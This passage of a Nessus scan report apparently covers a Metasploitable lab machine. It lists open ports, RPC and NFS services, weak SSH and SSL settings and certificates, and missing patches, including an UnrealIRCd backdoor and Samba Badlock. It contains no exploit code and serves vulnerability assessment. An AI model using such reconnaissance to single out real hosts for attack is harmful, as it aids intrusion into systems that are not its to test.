Plugin Output

tcp/6000/x11

Port 6000/tcp was found to be open

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/6667/irc

Port 6667/tcp was found to be open

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/8009/ajp13

Port 8009/tcp was found to be open

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/8180/www

Port 8180/tcp was found to be open

11219 - Nessus SYN scanner

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2024/03/19

Plugin Output

tcp/8787

Port 8787/tcp was found to be open

19506 - Nessus Scan Information

Synopsis

This plugin displays information about the Nessus scan.

Description

This plugin displays, for each tested host, information about the scan itself :

- The version of the plugin set.
- The type of scanner (Nessus or Nessus Home).
- The version of the Nessus Engine.
- The port scanner(s) used.
- The port range scanned.
- The ping round trip time
- Whether credentialed or third-party patch management checks are possible.
- Whether the display of superseded patches is enabled
- The date of the scan.
- The duration of the scan.
- The number of hosts scanned in parallel.
- The number of checks done in parallel.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/08/26, Modified: 2024/03/13

Plugin Output

tcp/0

```
Information about this scan :  
  
Nessus version : 10.7.2  
Nessus build : 20029  
Plugin feed version : 202404270443  
Scanner edition used : Nessus Home  
Scanner OS : LINUX  
Scanner distribution : debian10-x86-64  
Scan type : Normal  
Scan name : meta
```

```
Scan policy used : Advanced Scan
Scanner IP : 192.168.1.100
Port scanner(s) : nessus_syn_scanner
Port range : default
Ping RTT : 198.827 ms
Thorough tests : no
Experimental tests : no
Plugin debugging enabled : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : no
Credentialated checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin did not launch)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 5
Recv timeout : 5
Backports : Detected
Allow post-scan editing : Yes
Nessus Plugin Signature Checking : Enabled
Audit File Signature Checking : Disabled
Scan Start Date : 2024/4/27 14:34 CEST
Scan duration : 1207 sec
Scan for malware : no
```

11936 - OS Identification

Synopsis

It is possible to guess the remote operating system.

Description

Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2003/12/09, Modified: 2023/11/08

Plugin Output

tcp/0

```
Remote operating system : Linux Kernel 2.6 on Ubuntu 8.04 (gutsy)
Confidence level : 95
Method : HTTP

Not all fingerprints could give a match. If you think some or all of
the following could be used to identify the host's operating system,
please email them to os-signatures@nessus.org. Be sure to include a
brief description of the host itself, such as the actual operating
system or product / model names.

SSH:SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
SinFP:
P1:B10113:F0x12:W5840:O0204ffff:M1460:
P2:B10113:F0x12:W5792:O0204ffff:0402080afffffff4445414401030305:M1460:
P3:B00000:F0x00:W0:00:M0
P4:190802_7_p=2121
SMTP:!::220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
SSLcert!:!i/CN:ubuntu804-base.localdomaini/O:OCOSAi/OU:Office for Complication of Otherwise Simple
Affairss/CN:ubuntu804-base.localdomains/O:OCOSAs/OU:Office for Complication of Otherwise Simple
Affairs
ed093088706603bfd5dc237399b498da2d4d31c6
i/CN:ubuntu804-base.localdomaini/O:OCOSAi/OU:Office for Complication of Otherwise Simple Affairss/
CN:ubuntu804-base.localdomains/O:OCOSAs/OU:Office for Complication of Otherwise Simple Affairs
ed093088706603bfd5dc237399b498da2d4d31c6
```

The remote host is running Linux Kernel 2.6 on Ubuntu 8.04 (gutsy)

117886 - OS Security Patch Assessment Not Available

Synopsis

OS Security Patch Assessment is not available.

Description

OS Security Patch Assessment is not available on the remote host.

This does not necessarily indicate a problem with the scan.

Credentials may not have been provided, OS security patch assessment may not be supported for the target, the target may not have been identified, or another issue may have occurred that prevented OS security patch assessment from being available. See plugin output for details.

This plugin reports non-failure information impacting the availability of OS Security Patch Assessment. Failure information is reported by plugin 21745 : 'OS Security Patch Assessment failed'. If a target host is not supported for OS Security Patch Assessment, plugin 110695 : 'OS Security Patch Assessment Checks Not Supported' will report concurrently with this plugin.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0515

Plugin Information

Published: 2018/10/02, Modified: 2021/07/12

Plugin Output

tcp/0

```
The following issues were reported :  
- Plugin      : no_local_checks_credentials.nasl  
  Plugin ID   : 110723  
  Plugin Name : Target Credential Status by Authentication Protocol - No Credentials Provided  
  Message     :  
  Credentials were not provided for detected SSH service.
```

181418 - OpenSSH Detection

Synopsis

An OpenSSH-based SSH server was detected on the remote host.

Description

An OpenSSH-based SSH server was detected on the remote host.

See Also

<https://www.openssh.com/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/09/14, Modified: 2024/04/24

Plugin Output

tcp/22/ssh

```
Service : ssh
Version : 4.7p1
Banner  : SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntul
```

50845 - OpenSSL Detection

Synopsis

The remote service appears to use OpenSSL to encrypt traffic.

Description

Based on its response to a TLS request with a specially crafted server name extension, it seems that the remote service is using the OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that have enabled support for TLS extensions (RFC 4366).

See Also

<https://www.openssl.org/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/11/30, Modified: 2020/06/12

Plugin Output

tcp/25/smtp

50845 - OpenSSL Detection

Synopsis

The remote service appears to use OpenSSL to encrypt traffic.

Description

Based on its response to a TLS request with a specially crafted server name extension, it seems that the remote service is using the OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that have enabled support for TLS extensions (RFC 4366).

See Also

<https://www.openssl.org/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/11/30, Modified: 2020/06/12

Plugin Output

tcp/5432/postgresql

48243 - PHP Version Detection

Synopsis

It was possible to obtain the version number of the remote PHP installation.

Description

Nessus was able to determine the version of PHP available on the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0936

Plugin Information

Published: 2010/08/04, Modified: 2022/10/12

Plugin Output

tcp/80/www

```
Nessus was able to identify the following PHP version information :
```

```
Version : 5.2.4-2ubuntu5.10
Source  : X-Powered-By: PHP/5.2.4-2ubuntu5.10
```

66334 - Patch Report

Synopsis

The remote host is missing several patches.

Description

The remote host is missing one or more security patches. This plugin lists the newest version of each patch to install to make sure the remote host is up-to-date.

Note: Because the 'Show missing patches that have been superseded' setting in your scan policy depends on this plugin, it will always run and cannot be disabled.

Solution

Install the patches listed below.

Risk Factor

None

Plugin Information

Published: 2013/07/08, Modified: 2024/04/09

Plugin Output

tcp/0

```
. You need to take the following 3 actions :

[ ISC BIND 9.x < 9.11.22, 9.12.x < 9.16.6, 9.17.x < 9.17.4 DoS (139915) ]
+ Action to take : Upgrade to BIND 9.11.22, 9.16.6, 9.17.4 or later.
+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[ Samba Badlock Vulnerability (90509) ]
+ Action to take : Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

[ UnrealIRCd Backdoor Detection (46882) ]
+ Action to take : Re-download the software, verify it using the published MD5 / SHA1 checksums, and
re-install it.
```

118224 - PostgreSQL STARTTLS Support

Synopsis

The remote service supports encrypting traffic.

Description

The remote PostgreSQL server supports the use of encryption initiated during pre-login to switch from a cleartext to an encrypted communications channel.

See Also

<https://www.postgresql.org/docs/9.2/protocol-flow.html#AEN96066>

<https://www.postgresql.org/docs/9.2/protocol-message-formats.html>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2018/10/19, Modified: 2022/04/11

Plugin Output

tcp/5432/postgresql

```
Here is the PostgreSQL's SSL certificate that Nessus  
was able to collect after sending a pre-login packet :
```

```
----- snip -----  
Subject Name:  
  
Country: XX  
State/Province: There is no such thing outside US  
Locality: Everywhere  
Organization: OCOSA  
Organization Unit: Office for Complication of Otherwise Simple Affairs  
Common Name: ubuntu804-base.localdomain  
Email Address: root@ubuntu804-base.localdomain
```

```
Issuer Name:
```

```
Country: XX  
State/Province: There is no such thing outside US  
Locality: Everywhere  
Organization: OCOSA  
Organization Unit: Office for Complication of Otherwise Simple Affairs
```

```
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
             7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
             73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
             D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
             8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
             98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
             00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
           0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
           1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
           68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
           83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
           A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
           15 6E 8D 30 38 F6 CA 2E 75

----- snip ----- [...]
```

26024 - PostgreSQL Server Detection

Synopsis

A database service is listening on the remote host.

Description

The remote service is a PostgreSQL database server, or a derivative such as EnterpriseDB.

See Also

<https://www.postgresql.org/>

Solution

Limit incoming traffic to this port if desired.

Risk Factor

None

Plugin Information

Published: 2007/09/14, Modified: 2023/05/24

Plugin Output

tcp/5432/postgresql

22227 - RMI Registry Detection

Synopsis

An RMI registry is listening on the remote host.

Description

The remote host is running an RMI registry, which acts as a bootstrap naming service for registering and retrieving remote objects with simple names in the Java Remote Method Invocation (RMI) system.

See Also

<https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/spec/rmiTOC.html>

<http://www.nessus.org/u?b6fd7659>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2006/08/16, Modified: 2022/06/01

Plugin Output

tcp/1099/rmi_registry
tcp/1099/rmi_registry

```
Valid response received for port 1099:  
0x00: 51 AC ED 00 05 77 0F 01 93 99 0F 10 00 00 01 8F Q.....w.....  
0x10: 1F 92 99 8E 80 00 75 72 00 13 5B 4C 6A 61 76 61 .....ur.. [Ljava  
0x20: 2E 6C 61 6E 67 2E 53 74 72 69 6E 67 3B AD D2 56 .lang.String;..V  
0x30: E7 E9 1D 7B 47 02 00 00 70 78 70 00 00 00 00 00 ...{G...pxp....
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/111/rpc-portmapper

```
The following RPC services are available on TCP port 111 :
```

```
- program: 100000 (portmapper), version: 2
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/111/rpc-portmapper

```
The following RPC services are available on UDP port 111 :
```

```
- program: 100000 (portmapper), version: 2
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/2049/rpc-nfs

```
The following RPC services are available on TCP port 2049 :
```

- program: 100003 (nfs), version: 2
- program: 100003 (nfs), version: 3
- program: 100003 (nfs), version: 4

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/2049/rpc-nfs

```
The following RPC services are available on UDP port 2049 :
```

- program: 100003 (nfs), version: 2
- program: 100003 (nfs), version: 3
- program: 100003 (nfs), version: 4

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/33816/rpc-mountd

```
The following RPC services are available on UDP port 33816 :
```

- program: 100005 (mountd), version: 1
- program: 100005 (mountd), version: 2
- program: 100005 (mountd), version: 3

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/34692/rpc-nlockmgr

```
The following RPC services are available on UDP port 34692 :
```

- program: 100021 (nlockmgr), version: 1
- program: 100021 (nlockmgr), version: 3
- program: 100021 (nlockmgr), version: 4

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/38695/rpc-nlockmgr

```
The following RPC services are available on TCP port 38695 :
```

- program: 100021 (nlockmgr), version: 1
- program: 100021 (nlockmgr), version: 3
- program: 100021 (nlockmgr), version: 4

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/39467/rpc-mountd

```
The following RPC services are available on TCP port 39467 :
```

- program: 100005 (mountd), version: 1
- program: 100005 (mountd), version: 2
- program: 100005 (mountd), version: 3

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/45048/rpc-status

```
The following RPC services are available on UDP port 45048 :
```

```
- program: 100024 (status), version: 1
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/53119/rpc-status

```
The following RPC services are available on TCP port 53119 :
```

```
- program: 100024 (status), version: 1
```

53335 - RPC portmapper (TCP)

Synopsis

An ONC RPC portmapper is running on the remote host.

Description

The RPC portmapper is running on this port.

The portmapper allows someone to get the port number of each RPC service running on the remote host by sending either multiple lookup requests or a DUMP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/04/08, Modified: 2011/08/29

Plugin Output

tcp/111/rpc-portmapper

10223 - RPC portmapper Service Detection

Synopsis

An ONC RPC portmapper is running on the remote host.

Description

The RPC portmapper is running on this port.

The portmapper allows someone to get the port number of each RPC service running on the remote host by sending either multiple lookup requests or a DUMP request.

Solution

n/a

Risk Factor

None

CVSS v3.0 Base Score

0.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N)

CVSS v2.0 Base Score

0.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:N)

References

CVE CVE-1999-0632

Plugin Information

Published: 1999/08/19, Modified: 2019/10/04

Plugin Output

udp/111/rpc-portmapper

10263 - SMTP Server Detection

Synopsis

An SMTP server is listening on the remote port.

Description

The remote host is running a mail (SMTP) server on this port.

Since SMTP servers are the targets of spammers, it is recommended you disable it if you do not use it.

Solution

Disable this service if you do not use it, or filter incoming traffic to this port.

Risk Factor

None

References

XREF IAVT:0001-T-0932

Plugin Information

Published: 1999/10/12, Modified: 2020/09/22

Plugin Output

tcp/25/smtp

```
Remote SMTP server banner :  
220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
```

42088 - SMTP Service STARTTLS Command Support

Synopsis

The remote mail service supports encrypting traffic.

Description

The remote SMTP service supports the use of the 'STARTTLS' command to switch from a cleartext to an encrypted communications channel.

See Also

<https://en.wikipedia.org/wiki/STARTTLS>

<https://tools.ietf.org/html/rfc2487>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/10/09, Modified: 2019/03/20

Plugin Output

tcp/25/smtp

```
Here is the SMTP service's SSL certificate that Nessus was able to
collect after sending a 'STARTTLS' command :
```

```
----- snip -----
Subject Name:

Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain
```

```
Issuer Name:
```

```
Country: XX
State/Province: There is no such thing outside US
Locality: Everywhere
Organization: OCOSA
Organization Unit: Office for Complication of Otherwise Simple Affairs
```

```
Common Name: ubuntu804-base.localdomain
Email Address: root@ubuntu804-base.localdomain

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT
Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption
Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
            7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
            73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
            D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
            8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
            98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
            00 90 9D DC 99 0D 33 A4 B5
Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits
Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
            0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
            1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
            68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
            83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
            A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
            15 6E 8D 30 38 F6 CA 2E 75

----- snip ----- [...]
```

70657 - SSH Algorithms and Languages Supported

Synopsis

An SSH server is listening on this port.

Description

This script detects which algorithms and languages are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/10/28, Modified: 2017/08/28

Plugin Output

tcp/22/ssh

```
Nessus negotiated the following encryption algorithm with the server :
```

```
The server supports the following options for kex_algorithms :
```

```
diffie-hellman-group-exchange-sha1
diffie-hellman-group-exchange-sha256
diffie-hellman-group1-sha1
diffie-hellman-group14-sha1
```

```
The server supports the following options for server_host_key_algorithms :
```

```
ssh-dss
ssh-rsa
```

```
The server supports the following options for encryption_algorithms_client_to_server :
```

```
3des-cbc
aes128-cbc
aes128-ctr
aes192-cbc
aes192-ctr
aes256-cbc
aes256-ctr
arcfour
arcfour128
arcfour256
blowfish-cbc
cast128-cbc
rijndael-cbc@lysator.liu.se
```

```
The server supports the following options for encryption_algorithms_server_to_client :
```

```
3des-cbc
aes128-cbc
aes128-ctr
aes192-cbc
aes192-ctr
aes256-cbc
aes256-ctr
arcfour
arcfour128
arcfour256
blowfish-cbc
cast128-cbc
rijndael-cbc@lysator.liu.se
```

```
The server supports the following options for mac_algorithms_client_to_server :
```

```
hmac-md5
hmac-md5-96
hmac-ripemd160
hmac-ripemd160@openssh.com
hmac-sha1
hmac-sha1-96
umac-64@openssh.com
```

```
The server supports the following options for mac_algorithms_server_to_client :
```

```
hmac-md5
hmac-md5-96
hmac-ripemd160
hmac-ripemd160@openssh.com
hmac-sha1
hmac-sha1-96
umac-64@openssh.com
```

```
The server supports the following options for compression_algorithms_client_to_server :
```

```
none
zlib@openssh.com
```

```
The server supports the following options for compression_algorithms_server_to_client :
```

```
none
zlib@openssh.com
```

149334 - SSH Password Authentication Accepted

Synopsis

The SSH server on the remote host accepts password authentication.

Description

The SSH server on the remote host accepts password authentication.

See Also

<https://tools.ietf.org/html/rfc4252#section-8>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/05/07, Modified: 2021/05/07

Plugin Output

tcp/22/ssh

10881 - SSH Protocol Versions Supported

Synopsis

A SSH server is running on the remote host.

Description

This plugin determines the versions of the SSH protocol supported by the remote SSH daemon.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/03/06, Modified: 2021/01/19

Plugin Output

tcp/22/ssh

```
The remote SSH daemon supports the following versions of the
SSH protocol :
```

- 1.99
- 2.0

153588 - SSH SHA-1 HMAC Algorithms Enabled

Synopsis

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Description

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Although NIST has formally deprecated use of SHA-1 for digital signatures, SHA-1 is still considered secure for HMAC as the security of HMAC does not rely on the underlying hash function being resistant to collisions.

Note that this plugin only checks for the options of the remote SSH server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/09/23, Modified: 2022/04/05

Plugin Output

tcp/22/ssh

```
The following client-to-server SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported :
```

```
hmac-sha1  
hmac-sha1-96
```

```
The following server-to-client SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported :
```

```
hmac-sha1  
hmac-sha1-96
```

10267 - SSH Server Type and Version Information

Synopsis

An SSH server is listening on this port.

Description

It is possible to obtain information about the remote SSH server by sending an empty authentication request.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0933

Plugin Information

Published: 1999/10/12, Modified: 2020/09/22

Plugin Output

tcp/22/ssh

```
SSH version : SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
SSH supported authentication : publickey,password
```

56984 - SSL / TLS Versions Supported

Synopsis

The remote service encrypts communications.

Description

This plugin detects which SSL and TLS versions are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/01, Modified: 2023/07/10

Plugin Output

tcp/25/smtp

This port supports SSLv2/SSLv3/TLSv1.0.

56984 - SSL / TLS Versions Supported

Synopsis

The remote service encrypts communications.

Description

This plugin detects which SSL and TLS versions are supported by the remote service for encrypting communications.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/12/01, Modified: 2023/07/10

Plugin Output

tcp/5432/postgresql

```
This port supports SSLv3/TLSv1.0.
```

45410 - SSL Certificate 'commonName' Mismatch

Synopsis

The 'commonName' (CN) attribute in the SSL certificate does not match the hostname.

Description

The service running on the remote host presents an SSL certificate for which the 'commonName' (CN) attribute does not match the hostname on which the service listens.

Solution

If the machine has several names, make sure that users connect to the service through the DNS hostname that matches the common name in the certificate.

Risk Factor

None

Plugin Information

Published: 2010/04/03, Modified: 2021/03/09

Plugin Output

tcp/25/smtp

```
The host name known by Nessus is :
```

```
metasploitable
```

```
The Common Name in the certificate is :
```

```
ubuntu804-base.locaLdomain
```

45410 - SSL Certificate 'commonName' Mismatch

Synopsis

The 'commonName' (CN) attribute in the SSL certificate does not match the hostname.

Description

The service running on the remote host presents an SSL certificate for which the 'commonName' (CN) attribute does not match the hostname on which the service listens.

Solution

If the machine has several names, make sure that users connect to the service through the DNS hostname that matches the common name in the certificate.

Risk Factor

None

Plugin Information

Published: 2010/04/03, Modified: 2021/03/09

Plugin Output

tcp/5432/postgresql

```
The host name known by Nessus is :
```

```
metasploitable
```

```
The Common Name in the certificate is :
```

```
ubuntu804-base.locaLdomain
```

10863 - SSL Certificate Information

Synopsis

This plugin displays the SSL certificate.

Description

This plugin connects to every SSL-related port and attempts to extract and dump the X.509 certificate.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2008/05/19, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

```
Subject Name:  
  
Country: XX  
State/Province: There is no such thing outside US  
Locality: Everywhere  
Organization: OCOSA  
Organization Unit: Office for Complication of Otherwise Simple Affairs  
Common Name: ubuntu804-base.localdomain  
Email Address: root@ubuntu804-base.localdomain
```

```
Issuer Name:  
  
Country: XX  
State/Province: There is no such thing outside US  
Locality: Everywhere  
Organization: OCOSA  
Organization Unit: Office for Complication of Otherwise Simple Affairs  
Common Name: ubuntu804-base.localdomain  
Email Address: root@ubuntu804-base.localdomain
```

Serial Number: 00 FA F9 3A 4C 7F B6 B9 CC

Version: 1

Signature Algorithm: SHA-1 With RSA Encryption

Not Valid Before: Mar 17 14:07:45 2010 GMT

Not Valid After: Apr 16 14:07:45 2010 GMT

Public Key Info:

Algorithm: RSA Encryption

Key Length: 1024 bits
Public Key: 00 D6 B4 13 36 33 9A 95 71 7B 1B DE 7C 83 75 DA 71 B1 3C A9
7F FE AD 64 1B 77 E9 4F AE BE CA D4 F8 CB EF AE BB 43 79 24
73 FF 3C E5 9E 3B 6D FC C8 B1 AC FA 4C 4D 5E 9B 4C 99 54 0B
D7 A8 4A 50 BA A9 DE 1D 1F F4 E4 6B 02 A3 F4 6B 45 CD 4C AF
8D 89 62 33 8F 65 BB 36 61 9F C4 2C 73 C1 4E 2E A0 A8 14 4E
98 70 46 61 BB D1 B9 31 DF 8C 99 EE 75 6B 79 3C 40 A0 AE 97
00 90 9D DC 99 0D 33 A4 B5

Exponent: 01 00 01

Signature Length: 128 bytes / 1024 bits

Signature: 00 92 A4 B4 B8 14 55 63 25 51 4A 0B C3 2A 22 CF 3A F8 17 6A
0C CF 66 AA A7 65 2F 48 6D CD E3 3E 5C 9F 77 6C D4 44 54 1F
1E 84 4F 8E D4 8D DD AC 2D 88 09 21 A8 DA 56 2C A9 05 3C 49
68 35 19 75 0C DA 53 23 88 88 19 2D 74 26 C1 22 65 EE 11 68
83 6A 53 4A 9C 27 CB A0 B4 E9 8D 29 0C B2 3C 18 5C 67 CC 53
A6 1E 30 D0 AA 26 7B 1E AE 40 B9 29 01 6C 2E BC A2 19 94 7C
15 6E 8D 30 38 F6 CA 2E 75

Fingerprints :

SHA-256 Fingerprint: E7 A7 FA 0D 63 E4 57 C7 C4 A5 9B 38 B7 08 49 C6 A7 0B DA 6F
83 0C 7A F1 E3 2D EE 43 6D E8 13 CC

